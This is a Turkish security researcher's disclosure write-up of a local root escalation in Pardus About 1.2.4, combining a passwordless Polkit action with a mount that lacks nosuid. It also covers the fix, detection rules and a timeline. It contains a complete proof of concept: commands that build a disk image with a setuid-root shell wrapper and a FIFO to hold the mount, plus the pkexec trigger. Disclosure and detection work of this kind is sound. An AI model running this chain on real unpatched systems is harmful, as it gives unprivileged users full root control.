İfşa: CVE-2026-87772 (CWE-863, CWE-266), Pardus About (pardus-about) uygulamasının 1.2.4’e kadar olan sürümlerini etkiler. Zafiyeti izole bir laboratuvarda buldum ve Pardus / TÜBİTAK BİLGEM ekibine bildirdim. 1.2.5 sürümünde 59ff522 ve b439777 commit’leriyle düzeltildi.

Pardus About sistem bilgilerini gösterir ve makinede kurulu diğer işletim sistemlerini tespit eder. 1.2.4 sürümünde, etkin bir masaüstü oturumuna sahip herhangi bir yerel kullanıcı, uygulamanın root yardımcısını parola girmeden çalıştırabiliyordu ve bu yardımcı bulduğu her bölümü defaults,ro ile mount ediyordu. Bu seçenekler, mount edilen dosya sistemindeki setuid ikililerinin çalışmaya devam etmesini sağlar. Dolayısıyla root sahipliğinde bir setuid ikilisi taşıyan bir disk, o kullanıcıya root shell kazandırır.

Saldırganın etkin bir grafik oturumuna yerel erişimi ve kontrol ettiği bir blok aygıtı olması gerekir; USB disk veya udisks2 üzerinden bağlanan bir loop aygıtı bunun tipik örnekleridir. İki karar birleşerek bu sonucu doğurur: Polkit eylemi system_info için allow_active=yes ayarlıdır ve arkasındaki yardımcı, diskleri nosuid, nodev ve noexec olmadan mount eder. Tek başına her iki tercih de savunulabilir görünür; bir araya geldiklerinde ise yetki yükseltme zinciri tamamlanır. Saldırganın kötü niyetli bir disk hazırlaması yeterlidir; hedef makinede ayrıca bir yazılım açığı gerekmez.

Kanıt matrisi

Aşağıdaki matris, zafiyetin hangi koşullarda doğrulandığını ve hangi soruların açık kaldığını özetler. Amaç, sonucu tek bir gözleme değil birbirini destekleyen birden çok kanıta dayandırmaktır.

SoruNeyi denetledimGüvenBelirsiz kalan
Hangi sürümler etkileniyor?Pardus 25.2 üzerinde pardus-about 1.2.4 ve Debian paketli sürümler.Yüksekdefaults,ro seçeneğini ilk getiren commit belirlenemedi.
Hangi saldırgan konumu gerekiyor?Etkin grafik oturumuna sahip ayrıcalıksız yerel kullanıcı (allow_active=yes).YüksekUzaktan istismar geçerli değildir.
Yetkilendirme neden parolasız geçiyor?tr.org.pardus.pkexec.pardus-about.policy, yardımcısı Actions.py olan system_info eylemi için allow_active=yes ayarlıyor.YüksekUpstream’in pkexec yardımcısını kaldırmayı planlayıp planlamadığı.
Mount işlemini istismar edilebilir kılan nedir?Mount seçenekleri nosuid içermiyor; bu yüzden root sahipliğindeki bir setuid ikilisi çalıştırıldığında euid=0 korunuyor.YüksekYalnızca loopback ext4 imajlarıyla test edildi.
Unmount yarışı nasıl yönetiliyor?Mount içinde bir referans tutmak veya yardımcıyı bir FIFO üzerinde bloklamak.YüksekYavaş medya ile NVMe arasındaki zamanlama ölçülmedi.
Düzeltme çalışıyor mu?b439777 seçenekleri ro,nosuid,nodev,noexec yapıyor. 59ff522 /run/winroot dizinini root:root ve 0700 moduna alıyor.YüksekBu incelemede medya mount eden diğer çağrı noktaları gözden geçirilmedi.

İlk sınır: parolasız Polkit yetkilendirmesi

Polkit, ayrıcalıksız bir sürecin ayrıcalıklı bir eylemi çalıştırıp çalıştıramayacağına karar verir; örneğin pkexec üzerinden. 1.2.4 sürümündeki tr.org.pardus.pkexec.pardus-about.policy dosyasında system_info eylemi şöyle tanımlanmıştır:

    <action id="tr.org.pardus.pkexec.pardus-about.system_info">
    <description>Run system report creator.</description>
    <message>Authentication is required to create system report</message>
    <message xml:lang="tr">Sistem raporu oluşturmak için yetkilendirme gerekiyor</message>
    <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
    <annotate key="org.freedesktop.policykit.exec.path">/usr/share/pardus/pardus-about/src/Actions.py</annotate>
    <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>
  </action>

Polkit üç oturum durumunu ayırt eder:

  • allow_any: her çağıran; örneğin uzak veya kimliği doğrulanmamış bir istemci. Burada auth_admin.
  • allow_inactive: etkin seat üzerinde olmayan oturum. Burada auth_admin.
  • allow_active: etkin seat üzerindeki, yani klavye ve ekranın başındaki kullanıcının oturumu. Burada yes.

allow_active değeri yes olduğu için pkexec, etkin bir oturumda Actions.py dosyasını kimlik doğrulama penceresi göstermeden root olarak çalıştırır. Actions.py ilk argüman olarak bir komut alır ve dualboot komutu DualBootManager.get_dualboot_oses() fonksiyonunu çağırır:

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        cmd = sys.argv[1]

        if cmd == "acpi":
            if ACPIManager.is_acpi_supported():
                sys.exit(0)
            else:
                sys.exit(1)
        elif cmd == "dualboot":
            print(DualBootManager.get_dualboot_oses())

Bunun test hesabındaki bir yetki sızıntısı değil, bilinçli bir politika izni olduğunu doğrulamak için aynı oturumda pkcheck aracını aynı politika dosyasındaki iki eyleme karşı çalıştırdım:

# system_info under an active session
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.system_info --process $$
# exit status 0: authorized

# export_report, the comparison action (auth_admin_keep)
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.export_report --process $$
# not authorized without administrator authentication (non-zero exit status)

Oturum, UID, seat ve ortam sabit tutulduğunda yalnızca system_info parolasız olarak onaylanır. Politika, sistem bilgisi raporlamanın zararsız olduğunu varsaymıştı. Oysa arkasındaki yardımcı disk mount ediyor; yani “sadece bilgi göster” varsayımı, fiilen ayrıcalıklı bir dosya sistemi işlemine dönüşüyor. Yetkilendirme katmanı yalnızca eylemin adına bakıyor, eylemin gerçekte ne yaptığını değerlendirmiyor.

İkinci sınır: medyayı root olarak mount etmek

get_dualboot_oses() root olarak çalışır. /sys/block altında bulduğu her bölüm için, kök bölüm hariç, bölümü /run/winroot üzerine mount eder, Windows, macOS ve Linux işaret dosyalarını arar, varsa /etc/os-release dosyasını okur ve umount -lf ile ayırır:

def get_dualboot_oses():
    dualboot = {}
    os.makedirs("/run/winroot", exist_ok=True)
    root_part = get_root_part()
    for part in list_parts():
        if f"/dev/{part}" == root_part:
            continue
        sp = subprocess.run(
            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
            capture_output=True,
        )
        if 0 == sp.returncode:
            # Windows
            if os.path.exists("/run/winroot/Windows/System32/ntoskrnl.exe"):
                dualboot[part] = "Windows " + get_windows_version()
            # Mac OS X
            if os.path.exists(
                "/run/winroot/System/Library/CoreServices/SystemVersion.plist"
            ):
                dualboot[part] = "Mac OS X"
            # Linux
            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:
                    for line in f.read().split("\n"):
                        if line.startswith("NAME="):
                            dualboot[part] = line[6:-1]
            os.system("umount -lf /run/winroot")

    os.rmdir("/run/winroot")
    return json.dumps(dualboot)

Mount seçenekleri defaults,ro şeklindedir. util-linux içindeki mount(8) aracında defaults şu bayraklara açılır:

rw, suid, dev, exec, auto, nouser, async

ro, rw seçeneğini ezer ve süperblok üzerinde MS_RDONLY bayrağını etkinleştirir. suid bayrağını temizleyen hiçbir şey yoktur; bu nedenle komut açıkça belirtmedikçe MS_NOSUID ve MS_NOEXEC ayarlanmamış kalır. Bu ayrıntı, “salt okunur” ifadesinin güvenlik açısından neden yanıltıcı olduğunu gösterir. ro yalnızca veri bütünlüğünü korur; yürütme ve aygıt erişimi ayrı bayraklarla denetlenir.

Yardımcı ayrıca aygıt listesinin kendisine de güvenir. list_parts(), /sys/block altındaki her girdiyi dolaşır ve kök dosya sistemi dışındaki her bölümü mount eder; bunun sabit bir dahili disk mi yoksa kullanıcının az önce taktığı bir şey mi olduğunu denetlemez. Saldırganın kontrol ettiği bir loop aygıtı veya USB bellek, tıpkı bir dahili bölüm gibi mount edilir; böylece root olarak mount edilecek dosya sistemini saldırgan seçer.

PARDUS ABOUT 1.2.4'TE YEREL YETKİ YÜKSELTME Aktif oturumayrıcalıksız kullanıcı polkit system_infoallow_active=yes Actions.py dualboot/run/winroot'a mount Root yürütmesetuid bitine uyulur Parola istemi yokaktif oturum yeterli 1.2.4 "defaults,ro" ile mount eder, nosuid, nodev ve noexec olmadan.
Parolasız Polkit yetkilendirmesi ile nosuid olmadan yapılan mount birleşerek yerel root yetkisi yükseltmesine dönüşür.

Salt okunur mount setuid’i yine de uygular

ro dosya sistemine yazmayı engeller. Ancak üzerindeki bir program çalıştırıldığında çekirdeğin setuid bitini dikkate almasını durdurmaz. execve() sırasında çekirdek, mount nosuid (MNT_NOSUID) taşımıyorsa etkin UID’yi dosyanın sahibinden alır. Bu nedenle ext4 dosya sistemi taşıyan ve modu 4755 olan root sahipliğinde bir dosya içeren bir disk, mount nosuid içermediği sürece, onu çalıştıran herkes için euid=0 ile başlar. Yazma koruması ile yürütme yetkisi birbirinden bağımsız iki özelliktir; birini etkinleştirmek diğerini kapatmaz. Bu yüzden ro tek başına güvenilmeyen medya için yeterli bir savunma değildir.

Mount’u canlı tutmak

Yardımcı bir bölümü mount eder, inceler ve hızla yeniden ayırır. /run/winroot/rootshell dosyasını çalıştırmak isteyen saldırganın bunu mount var olduğu sırada yapması gerekir. Bu pencereyi genişletmenin iki yolu vardır:

Yöntem 1: mount içinde bir referans tutmak

Yardımcı umount -lf, yani tembel bir unmount kullanır. /run/winroot dizinini hemen ayırır; ancak herhangi bir sürecin çalışma dizini veya açık bir dosyası o dosya sisteminin içindeyse dosya sistemi canlı kalır. Unmount’tan önce mount dizinine geçmiş bir shell, oradan ./rootshell çalıştırmaya devam edebilir. Yine de mount’a girmek, mount ile unmount arasındaki kısa boşluğu kazanmak anlamına gelir; örneğin mountpoint -q /run/winroot ile yoklayarak.

Yöntem 2: os-release yerine bir FIFO

Yardımcı, her Linux bölümünün sürüm dosyasını okumak için açar:

            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:

Saldırganın imajındaki etc/os-release bir FIFO ise (debugfs içinde mknod etc/os-release p), open() diğer uçtan bir yazıcı açana kadar bloklanır. Root süreç TASK_INTERRUPTIBLE durumunda uyurken mount yerinde kalır ve saldırgan setuid ikilisini istediği zaman çalıştırabilir. FIFO’yu yazma için açmak yardımcının devam etmesini ve unmount yapmasını sağlar. Bu yöntem, zamanlama yarışını tamamen ortadan kaldırdığı için daha güvenilirdir. Saldırganın hızlı olması gerekmez; mount, kendisi karar verene kadar açık kalır.

Kavram kanıtı

Sorunu, loopback ext4 imajı kullanan izole bir Pardus 25.2 laboratuvarında dört adımda yeniden ürettim. Her adım, zincirin bir sonraki halkasını ayrı ayrı doğrular. Saldırgan tarafı disk hazırlığı, kurban tarafı tetikleme ve temizlik betikleri github.com/jankesec/CVE-2026-87772-pardus-about-lpe adresinde yayımlanmıştır.

Adım 1: imajı oluşturmak

Ayrıcalıksız kullanıcı olarak setuid yükünü taşıyan 32 MB’lık bir ext4 imajı oluşturuyorum. os-release dosyasını normal bir dosya yerine FIFO yapıyorum; böylece yardımcı okuma sırasında bloklanır ve mount deterministik biçimde açık kalır — yukarıdaki 2. Yöntem, zamanlama yarışını ortadan kaldırır:

# 1. Create the image file
dd if=/dev/zero of=/tmp/dualboot_test.img bs=1M count=32
mkfs.ext4 -F -L "Windows" /tmp/dualboot_test.img

# 2. Fill it with debugfs, which needs no privileges on an image you own
debugfs -w /tmp/dualboot_test.img << 'EOF'
write /tmp/rootshell rootshell
set_inode_field rootshell mode 0104755
set_inode_field rootshell uid 0
set_inode_field rootshell gid 0
mkdir etc
mknod etc/os-release p
EOF

/tmp/rootshell, küçük bir C setuid sarmalayıcısıdır:

// rootshell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(void) {
    // Mount nosuid taşımadığı için bu setuid-root ikilisi zaten euid=0 ile başlar.
    // bash -p, etkin UID'yi gerçek UID'ye düşürmek yerine korur.
    printf("[+] Successfully escalated to root: UID=%d, EUID=%d\n", getuid(), geteuid());
    char *args[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", args, NULL);
    return 0;
}

Adım 2: imajı bağlamak

Etkin bir masaüstü kullanıcısı udisks2 üzerinden bir loop aygıtı bağlayabilir; bu işlem root parolası istemez ve zafiyetin yerel erişim gereksinimiyle uyumludur:

udisksctl loop-setup --file /tmp/dualboot_test.img
# Mapped file /tmp/dualboot_test.img as /dev/loop0.

Adım 3: ayrıcalıklı keşfi tetiklemek

Aygıt bağlandıktan sonra yardımcıyı Pardus About’ın yaptığı şekilde, arka planda çalıştırıyorum; çünkü imajımı mount ettikten sonra FIFO üzerinde bloklanacak:

pkexec /usr/share/pardus/pardus-about/src/Actions.py dualboot &

Oturum etkin olduğu için Polkit allow_active=yes kuralını uygular ve Actions.py dosyasını root olarak çalıştırır. get_dualboot_oses() bulduğu bölümleri mount -o defaults,ro ile /run/winroot üzerine mount eder, ardından etc/os-release konumundaki FIFO’yu okumaya çalışırken bloklanır ve bu, mount’u açık tutar.

Adım 4: yükü çalıştırmak

Yardımcı FIFO üzerinde beklediği için mount, ben serbest bırakana kadar yerinde kalır. /proc/mounts bayrakları gösterir:

/dev/loop0 /run/winroot ext4 ro,relatime 0 0

Bayraklar ro,relatime. nosuid yok. Yardımcı bloklanmış durumdayken setuid ikilisini çalıştırıyor, ardından FIFO’yu yazma için açarak yardımcının tamamlanmasını ve unmount etmesini sağlıyorum:

$ /run/winroot/rootshell
[+] Successfully escalated to root: UID=1000, EUID=0
# whoami
root
# id
uid=1000(testuser) gid=1000(testuser) euid=0(root) groups=1000(testuser),27(sudo)

Gerçek UID 1000 olarak kalır; etkin UID ise nosuid hiç uygulanmamış bir mount üzerindeki setuid bitinden devralınan 0’dır. FIFO, zamanlama yarışını tamamen ortadan kaldırır ve benden hiçbir zaman yönetici parolası istenmedi. Bu, zafiyetin yalnızca teorik bir yapılandırma hatası değil, son kullanıcı açısından doğrudan tam ele geçirme olduğunu gösterir.

Düzeltme

1.2.5 sürümündeki iki commit src/util/DualBootManager.py dosyasını değiştirdi. b439777 (2026-09-10, “winroot: mount nodev noexec nosuid”) mount seçeneklerini değiştirir:

--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -59,7 +59,7 @@ def get_dualboot_oses():
         if f"/dev/{part}" == root_part:
             continue
         sp = subprocess.run(
-            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
+            ["mount", "-o", "ro,nosuid,nodev,noexec", f"/dev/{part}", "/run/winroot"],
             capture_output=True,
         )
         if 0 == sp.returncode:

59ff522 (2026-09-09, “set /run/winroot directory permission: prevent read files from non-root users”) ise herhangi bir şey mount edilmeden önce mount noktasını root:root ve 0700 moduna getirir:

--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -52,6 +52,8 @@ def get_windows_version():
 def get_dualboot_oses():
     dualboot = {}
     os.makedirs("/run/winroot", exist_ok=True)
+    os.chown("/run/winroot", 0, 0)
+    os.chmod("/run/winroot", 0o700)
     root_part = get_root_part()
     for part in list_parts():
         if f"/dev/{part}" == root_part:

Saldırıyı durduran asıl değişiklik mount seçenekleridir; dizin izinleri ise ek bir derinlemesine savunma katmanı sağlar:

  1. nosuid, MNT_NOSUID bayrağını ayarlar. execve(), mount altındaki dosyalarda setuid ve setgid bitlerini yok sayar.
  2. nodev, MNT_NODEV bayrağını ayarlar. Dosya sistemindeki aygıt düğümleri yorumlanmaz; böylece diskte hazırlanmış bir blok aygıtı düğümü ham disklere erişmek için kullanılamaz.
  3. noexec, MNT_NOEXEC bayrağını ayarlar. Mount’tan doğrudan bir ikili çalıştırmak EACCES ile başarısız olur.

1.2.5 üzerinde yeniden test

Aynı yeniden üretimi pardus-about 1.2.5 sürümüne karşı çalıştırdım:

$ /run/winroot/rootshell
bash: /run/winroot/rootshell: Permission denied

Çalıştırma, noexec ile beklendiği gibi reddedildi ve /proc/mounts çıktısı ro,nosuid,nodev,noexec gösterdi. Böylece üç bayrağın da gerçekten etkin olduğu yalnızca koddan değil, çalışma zamanından da doğrulandı.

Tespit mühendisliği ve SOC telemetrisi

Yetki yükseltme zinciri sistem günlüklerinde, auditd olaylarında ve çekirdek mount kayıtlarında net izler bırakır. Savunma ekipleri hem yardımcının parolasız çağrılmasını hem de ardından gelen setuid ikilisi çalıştırmasını somut kurallarla izleyebilir.

1. Polkit yetkilendirme günlükleri

pkexec, etkin bir masaüstü oturumu için yardımcıyı başlattığında systemd-journald bir yetkilendirme kaydı tutar. Bu kayıt, ayrıcalıksız bir kullanıcının parola girmeden root yetkisiyle Python betiği çalıştırdığını gösterir:

pkexec[14820]: testuser: Executing command [USER=root] [TTY=unknown] [CWD=/home/testuser] [COMMAND=/usr/share/pardus/pardus-about/src/Actions.py dualboot]

SIEM kuralı, Actions.py dualboot çağrısının normal GUI başlatma hiyerarşisi (ana pardus-about grafik arayüz süreci) dışında doğrudan terminal veya harici betiklerden tetiklendiği durumları şüpheli etkinlik olarak işaretleyebilir.

2. Setuid çalıştırması için Auditd telemetrisi

Yardımcının çağrılmasını ve güvenilmeyen mount noktalarından yetkili ikili çalıştırılmasını yakalamak için aşağıdaki kurallar kullanılır:

# /etc/audit/rules.d/99-pardus-about-lpe.rules
# Parolasız root yardımcısının çalıştırılmasını izle
-w /usr/share/pardus/pardus-about/src/Actions.py -p x -k pardus_about_helper

# Gerçek kullanıcı kimliği (uid) ayrıcalıksız iken etkin kimliğin (euid) root olduğu süreçleri yakala
-a always,exit -F arch=b64 -S execve -F euid=0 -F uid>=1000 -k setuid_privesc_exec

# nosuid içermeyen loop ve disk mount çağrılarını izle
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unpriv_mount_event

İstismar anında auditd setuid ikilisi için şu olayı üretir:

type=SYSCALL msg=audit(1726052400.124:842): arch=c000003e syscall=59 success=yes exit=0
  a0=7ffe12345678 a1=7ffe12345690 a2=7ffe123456a0 items=2 ppid=14815 pid=14825
  auid=1000 uid=1000 gid=1000 euid=0 egid=0 fsuid=0 fsgid=0 tty=pts0 ses=3
  comm="rootshell" exe="/run/winroot/rootshell" key="setuid_privesc_exec"

Buradaki belirleyici anomali, /run/winroot/ altından çalışan süreçte uid=1000 olmasına rağmen euid=0 değerinin görülmesidir.

Geçici çözüm: Güncelleme yapmadan ilke sıkılaştırma

Paketin 1.2.5 sürümüne hemen yükseltilemediği sistemlerde, Polkit varsayılan yetkilendirme kuralı ezilerek zafiyet geçici olarak kapatılabilir.

JavaScript tabanlı Polkit (polkitd >= 0.106) kullanan modern sistemlerde /etc/polkit-1/rules.d/90-pardus-about-hardening.rules dosyası oluşturulur:

// /etc/polkit-1/rules.d/90-pardus-about-hardening.rules
// Pardus About system info eylemi için yönetici parolası zorunlu kılınır
polkit.addRule(function(action, subject) {
    if (action.id === "tr.org.pardus.pkexec.pardus-about.system_info") {
        return polkit.Result.AUTH_ADMIN;
    }
});

Eski .pkla kural yapısını kullanan sistemlerde /etc/polkit-1/localauthority/50-local.d/50-pardus-about-hardening.pkla dosyası tanımlanır:

[Pardus About Hardening]
Identity=unix-user:*
Action=tr.org.pardus.pkexec.pardus-about.system_info
ResultActive=auth_admin

Bu ayar allow_active değerini yes yerine auth_admin yapar. Actions.py çağrıldığında sistem parola doğrulaması ister; böylece parolasız doğrudan çalıştırma engellenir.

ATT&CK teknik eşleşmesi

TaktikTeknik IDTeknik AdıZafiyetteki İşleyişSavunma Kontrolü
Privilege EscalationT1548.001Abuse Elevation Control: Setuid and SetgidSaldırgan 0104755 izinli ext4 imajı hazırlar; root yardımcısı diski nosuid olmadan mount eder.Güvenilmeyen depolama birimlerini nosuid,noexec,nodev ile bağla.
Privilege EscalationT1068Exploitation for Privilege EscalationHatalı Polkit kuralı ayrıcalıklı betiğin parolasız çalıştırılmasına izin verir.Çekirdek ve mount çağrısı yapan tüm eylemlerde auth_admin zorunlu tut.
ExecutionT1202Indirect Command ExecutionAyrıcalıksız masaüstü kullanıcısı pkexec üzerinden Actions.py dosyasını tetikler.Yardımcı betiklerin çalıştırma izinlerini kısıtla; çalıştırma zincirlerini denetle.
Defense EvasionT1006Direct Volume AccessSaldırgan udisksctl ile loop aygıtı ekleyerek kendi dosya izinlerini içeri aktarır.Ayrıcalıksız loop aygıtı bağlamayı sınırla; udisks2 dbus çağrılarını izle.

Etki ve CVSS

1.2.4 sürümünde ayrıcalıksız bir masaüstü kullanıcısı, kimlik doğrulaması yapmadan veya başka bir kullanıcının herhangi bir işlemine gerek kalmadan root olabilir. Root, o makinede gizlilik, bütünlük ve erişilebilirliğin tamamen kaybı anlamına gelir.

Zafiyeti CVSS 3.1 7.8 (Yüksek) olarak puanladım: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Saldırgan kodu yerel olarak (AV:L) sıradan bir etkin oturum kullanıcısı olarak (PR:L) çalıştırır. Özel bir koşul (AC:L) ve kullanıcı etkileşimi (UI:N) gerekmez. Skor, etkinin tam ele geçirme olduğunu, ancak saldırganın önce yerel erişim ve bir masaüstü oturumu elde etmesi gerektiğini yansıtır.

Dersler

Bu zafiyetin asıl dersi, tek tek bileşenlerin makul görünmesinin bütünün güvenli olduğu anlamına gelmemesidir. Aşağıdaki maddeler, benzer yardımcılar tasarlarken uygulanabilecek somut kuralları listeler.

  1. ro yazmayı engeller. Dosyaları çalıştırılamaz hâle getirmez veya aygıt düğümlerini etkisiz kılmaz. Güvenilmeyen medyayı ro,nosuid,nodev,noexec seçenekleriyle birlikte mount edin.
  2. Mount etmeden önce aygıtı doğrulayın. Yalnızca sabit ve beklenen blok aygıtlarını mount edin (stat.S_ISBLK ve /sys/block/<dev>/removable denetimi), ya da hiç mount etmeden lsblk -f / blkid ile dosya sistemi etiketlerini okuyun. 1.2.4 yardımcısı /sys/block altında ne görürse mount ediyordu.
  3. allow_active=yes iznini yalnızca CPU sıcaklığı gibi durağan veri okuyan eylemlere ayırın. Depolama mount eden, ikili çalıştıran veya dosya sistemine dokunan bir eylem auth_admin gerektirmelidir.
  4. Dosya sistemi incelemesini özel bir mount namespace içinde (unshare(CLONE_NEWNS)) yapın; böylece geçici mount masaüstü oturumundan görünmez.
  5. Ayrıcalıksız mount’ları ve pkexec çalıştırmalarını auditd ile izleyin:
# /etc/audit/rules.d/99-mount-privesc.rules
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unprivileged_mount
-w /usr/bin/pkexec -p x -k polkit_privilege_escalation

İfşa zaman çizelgesi

Süreç, bulgudan kamuya açıklamaya kadar koordineli ifşa ilkelerine uygun ilerledi; aşağıdaki tarihler bu sırayı gösterir.

  • 2026-08-22: Yerel yetkilendirme sınırlarını araştırırken sorunu pardus-about 1.2.4 sürümünde buldum.
  • 2026-08-25: Raporu ve yeniden üretilebilir laboratuvar gösterimini Pardus güvenlik ekibine gönderdim.
  • 2026-08-28: Pardus bakımcıları kök nedeni doğruladı ve bir düzeltme üzerinde çalışmaya başladı.
  • 2026-09-09: 59ff522 commit’i /run/winroot dizinini kısıtladı.
  • 2026-09-10: b439777 commit’i mount seçeneklerini ekledi ve 1.2.5 sürümü debian/1.2.5 olarak etiketlendi.
  • 2026-09-14: 1.2.5 sürümünü yeniden test ettim ve düzeltmeyi doğruladım.
  • 2026-09-16: Teknik vaka dosyası ve kök neden analizi tamamlandı. CVE-2026-87772, koordineli ifşa süreciyle bulguya atandı ve Sevban Dönmez’e kredi verildi.
  • 2026-11-12: TR-CERT, CVE-2026-87772 kaydını CVE.org üzerinde yayımladı ve T.C. Siber Güvenlik Başkanlığı (SSB / USOM), TR-26-1521 bildirimini yayımlayarak pardus-about 1.2.5 veya sonrasına yükseltmeyi önerdi.
Şiddet Değerlendirmesi · HIGH

Zafiyet Puanlaması & CVSS Vektör Analizi

TR-CERT CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.

7.8High
CVSS Vektör DizgisiCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AV · Saldırı VektörüYerel (Local)
AC · KarmaşıklıkDüşük (Low)
PR · Yetki SeviyesiDüşük (Low)
UI · Kullanıcı EtkileşimiYok (None)
S · KapsamDeğişmez (Unchanged)
C · GizlilikYüksek (High)
I · BütünlükYüksek (High)
A · ErişilebilirlikYüksek (High)
Denetim İzi · CVE-2026-87772

Koordineli İfşa ve Düzeltme Zaman Çizelgesi

CVE-2026-87772 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.

  1. Laboratuvar DoğrulamasıStep 01

    Vulnerable behavior reproduced against pardus-about 1.2.4 in an isolated Pardus 25.2 lab.

  2. Kanıt Paketi ve SınırlarStep 02

    Deterministic evidence package and negative controls completed.

  3. Upstream Yama YayınıStep 03

    Upstream mount-hardening change and debian/1.2.5 release tag published.

    Kaynak / Taahhüt ↗
  4. Teknik Kök Neden Analizi TamamlandıStep 04

    Technical casefile and root-cause analysis completed.

  5. Resmi CVE ve Danışma BelgesiStep 05

    TR-CERT published the CVE-2026-87772 record on CVE.org, and the SSB / USOM advisory TR-26-1521 recommended upgrading to pardus-about 1.2.5 or later.

    Kaynak / Taahhüt ↗
  6. Metadata ve Referans DenetimiStep 06

    jankesec confirmed the published CVE.org record, the TR-CERT CVSS, the affected versions and the SSB advisory reference.

Kaynaklar ve sınırlar

Bu analiz için kullanılan kanıtlar

Kontrol edilen kaynaklar16 Eylül 2026

Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.

İnceleme DurumuYazar incelemesi tamamlandı

Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.

◈ BU ARAŞTIRMAYI KAYNAK GÖSTER

Teknik raporlarda ve akademik yayınlarda atıf için:

@misc{jankesec_cve_2026_87772_pardus_about_root_mount_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-87772: Pardus About Mount Yardımcısı Üzerinden Root Yetkisi},
  year = {2026},
  howpublished = {\url{https://jankesec.com/tr/arastirma/cve-2026-87772-pardus-about-root-mount/}},
  note = {jankesec technical security research (CVE-2026-87772)}
}